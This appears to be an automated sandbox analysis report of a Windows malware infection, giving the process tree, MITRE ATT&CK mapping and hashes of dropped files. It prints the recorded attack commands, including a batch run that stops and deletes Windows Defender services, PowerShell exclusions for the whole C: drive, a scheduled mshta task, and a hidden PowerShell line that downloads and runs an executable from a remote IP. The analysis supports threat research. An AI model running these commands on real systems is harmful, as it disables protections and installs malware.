        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5752 -prefsLen 32952 -prefMapHandle 5748 -prefMapSize 270279 -jsInitHandle 5744 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5712 -initialChannelId {02a2c461-7103-4e6e-84df-ba130fe673c1} -parentPid 3096 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3096" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        9⤵
        Checks processor information in registry
        
        PID:2820
      - C:\Users\Admin\AppData\Local\Temp\10479450101\af26471a8e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479450101\af26471a8e.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5532
        
        C:\Users\Admin\AppData\Local\Temp\272.exe
        
        "C:\Users\Admin\AppData\Local\Temp\272.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5540
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1613.tmp\1614.tmp\1615.bat C:\Users\Admin\AppData\Local\Temp\272.exe"
        8⤵
        
        PID:3976
        
        C:\Users\Admin\AppData\Local\Temp\272.exe
        
        "C:\Users\Admin\AppData\Local\Temp\272.exe" go
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4372
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\16BF.tmp\16C0.tmp\16D1.bat C:\Users\Admin\AppData\Local\Temp\272.exe go"
        10⤵
        Drops file in Program Files directory
        
        PID:5196
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        11⤵
        Launches sc.exe
        
        PID:6604
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:6680
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:6772
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:6900
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:6920
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6932
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6948
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:6968
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:6984
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        11⤵
        
        PID:6996
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:7012
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:7028
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        11⤵
        
        PID:7056
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:7072
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:7084
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        11⤵
        
        PID:7100
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        11⤵
        Launches sc.exe
        
        PID:7116
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        11⤵
        Launches sc.exe
        
        PID:7128
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        11⤵
        
        PID:7140
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:7156
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:3440
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        11⤵
        Modifies security service
        
        PID:4720
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:1764
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:3244
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        11⤵
        
        PID:4668
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:5080
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:6036
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        11⤵
        
        PID:4640
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:4652
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:5740
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        11⤵
        
        PID:5452
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:5336
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:3900
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        11⤵
        
        PID:3384
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:1464
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:1076
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        11⤵
        
        PID:2940
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:5256
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:2232
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        11⤵
        
        PID:5440
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:4076
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:4248
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        11⤵
        
        PID:5484
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:3904
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:4336
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        11⤵
        
        PID:5324
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:1812
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:3044
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        11⤵
        
        PID:1264
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:1164
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:3248
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        11⤵
        
        PID:4140
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:4916
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:3960
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        11⤵
        
        PID:4368
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        11⤵
        
        PID:3392
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        11⤵
        
        PID:5296
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        11⤵
        
        PID:4468
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        11⤵
        
        PID:5996
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:2532
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        11⤵
        Launches sc.exe
        
        PID:5948
      - C:\Users\Admin\AppData\Local\Temp\10479460101\f5e0b2f1df.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479460101\f5e0b2f1df.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5056
      - C:\Users\Admin\AppData\Local\Temp\10479470101\24f66895ed.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479470101\24f66895ed.exe"
        6⤵
        Executes dropped EXE
        
        PID:4964
      - C:\Users\Admin\AppData\Local\Temp\10479480101\mtCxnCB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479480101\mtCxnCB.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6708
      - C:\Users\Admin\AppData\Local\Temp\10479490101\UZPt0hR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479490101\UZPt0hR.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        
        PID:3460
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
        7⤵
        
        PID:3480
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3420
        
        C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        7⤵
        Downloads MZ/PE file
        Adds Run key to start application
        
        PID:5096
        
        C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        8⤵
        Sets service image path in registry
        Executes dropped EXE
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:4004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath C:\
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Remove-MpPreference -ExclusionPath C:\
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:12052
        
        C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
        8⤵
        Deletes itself
        Executes dropped EXE
        
        PID:5856
        
        C:\Users\Admin\AppData\Local\Temp\{47960383-3cda-4971-a243-ee6a167f7176}\56d7137.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{47960383-3cda-4971-a243-ee6a167f7176}\56d7137.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
        9⤵
        Executes dropped EXE
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        
        PID:9584
        
        C:\Users\Admin\AppData\Local\Temp\{533e3f81-b858-407d-b258-7259642b92c2}\d979667a.exe
        
        C:/Users/Admin/AppData/Local/Temp/{533e3f81-b858-407d-b258-7259642b92c2}/\d979667a.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
        10⤵
        Drops file in Drivers directory
        Sets service image path in registry
        Executes dropped EXE
        Impair Defenses: Safe Mode Boot
        Loads dropped DLL
        Adds Run key to start application
        Enumerates connected drives
        Writes to the Master Boot Record (MBR)
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:7000
      - C:\Users\Admin\AppData\Local\Temp\10479500101\n0hEgR9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479500101\n0hEgR9.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1556
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:6888
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6908
      - C:\Users\Admin\AppData\Local\Temp\10479510101\larBxd7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479510101\larBxd7.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:8632
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:11736
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:7472
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:7468
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:7364
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:7352
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 689912
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4988
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Exclusion.psd
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:7164
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "users" Findarticles
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:704
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 689912\Jordan.com + Bg + Batteries + Boss + Illustrations + Boards + Within + Pushed + Brunei + Dead 689912\Jordan.com
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4544
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Customized.psd + ..\Permits.psd + ..\Teeth.psd + ..\Feel.psd + ..\Nonprofit.psd + ..\Shoes.psd + ..\Bruce.psd b
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:6296
        
        C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
        
        Jordan.com b
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:7124
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4672
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10479521121\5uMVCoG.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:11928
      - C:\Users\Admin\AppData\Local\Temp\10479530101\994c51a648.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479530101\994c51a648.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:7884
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn 8jfLXma87pc /tr "mshta C:\Users\Admin\AppData\Local\Temp\kBqjir7Ye.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:7908
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn 8jfLXma87pc /tr "mshta C:\Users\Admin\AppData\Local\Temp\kBqjir7Ye.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:7968
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\kBqjir7Ye.hta
        7⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:7916
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'RXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:8048
        
        C:\Users\Admin\AppData\Local\TempRXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE
        
        "C:\Users\Admin\AppData\Local\TempRXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5316
      - C:\Users\Admin\AppData\Local\Temp\10479540101\13c8cb249a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479540101\13c8cb249a.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Writes to the Master Boot Record (MBR)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:8416
      - C:\Users\Admin\AppData\Local\Temp\10479550101\Rm3cVPI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479550101\Rm3cVPI.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:8668
      - C:\Users\Admin\AppData\Local\Temp\10479560101\9sWdA2p.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479560101\9sWdA2p.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:9364
      - C:\Users\Admin\AppData\Local\Temp\10479570101\VrQSuEQ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479570101\VrQSuEQ.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:9512
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:9532
      - C:\Users\Admin\AppData\Local\Temp\10479580101\RYZusWg.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479580101\RYZusWg.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:10044
      - C:\Users\Admin\AppData\Local\Temp\10479590101\3cdd0bcab2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479590101\3cdd0bcab2.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:11368

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6312

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
1⤵
PID:1576

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
1⤵
PID:6080

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:8916

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\{19f55cfa-8c59-47da-a2f9-2803758d1dbf}\8922624c-d020-4a1e-9a35-2a54766978b2.cmd"0
1⤵
PID:6896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBEAEQALQBtAHAAcAByAGUAZgBFAHIAZQBuAGMARQAgAC0AZQBYAGMAbAB1AHMASQBvAE4AUABhAHQASAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBvAGQAZQBcAEkAcwBWAGEAbAB1AGUAQwByAGUAYQB0AGUAZAAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0AZgBvAHIAQwBlADsAIABBAEQARAAtAE0AUABwAFIARQBGAGUAcgBFAE4AQwBlACAALQBFAFgAYwBMAFUAcwBpAG8AbgBwAFIATwBDAEUAUwBTACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBvAGQAZQBcAEkAcwBWAGEAbAB1AGUAQwByAGUAYQB0AGUAZAAuAGUAeABlACAALQBGAG8AcgBDAEUA
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:11440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Safe Mode Boot

T1562.009

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\KVRT2020_Data\Temp\7C924DD4D20055C80007791130E2D03F\klupd_ee9d4903a_arkmon.sys

Filesize
390KB

MD5
7c924dd4d20055c80007791130e2d03f

SHA1
072f004ddcc8ddf12aba64e09d7ee0ce3030973e

SHA256
406ab7d6e45dbedcfbd2d7376a643620c7462cece3e41115c8fbc07861177ec6

SHA512
ab26005da50cbf1f45129834cb661b5b97aed5637d4ebc9821c8b744ff61c3f108f423ae5628602d99b3d859e184bfb23900797538dca2891186321d832ea806

Download Submit
C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe

Filesize
1.9MB

MD5
bcbec32483eb43840823c4f6bd653779

SHA1
3b83255512c5f268d0a1cb2997b1cc9d40f4252d

SHA256
d8a8e71a2be6d5fafa5d49029a37751c78be7e007152859233b8020a5c258167

SHA512
4cb807157807c72d599305eada37e85330314e43061f9af3ab9c44839bfc945431e320adf5259b9a9ecb531368cd9ab91d047eb8874f0ce6a8d4022ed69a6408

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
6ba4f07b407b1934e0f1b3fffb158001

SHA1
db7507e15b639b0344e5108ce744134639773108

SHA256
336479ba1cad126a26a655c5c307ec491357c9a904ec431133c45f1e9c910e3d

SHA512
81c422fe1327028e9bf02140d2dae6c44a14850e0d2988b1afe615009afeff5a88f34512d123b9708f95b51935db8ce76608b6d086656bc977e47eedaa630b2e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
01d45197c75e73b33ac87cdd2faf1b33

SHA1
6479e4f517fcef7a2b93bb789eb97f0478b32174

SHA256
d25838e1c2079f4b71b866ab494b2562bf4a955d3bf033e1d9c4d2c625eeb842

SHA512
9542f727b44949a8fc68010d45e6a6de70f16ca412765a36e9c70420af9dd152d210be567b63fd1f2e3c5ff8100ad224462184a3e07fe2a3061ed78d1509cecf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
ec96f8baaec15ffe789636e03c2678eb

SHA1
56cbd6bc7a8150c85043879fbf20cf1c01afc487

SHA256
d431cb93f53a44ef22f6252530b15ec1c0ea1bb2889bb90534f408880bdaf81a

SHA512
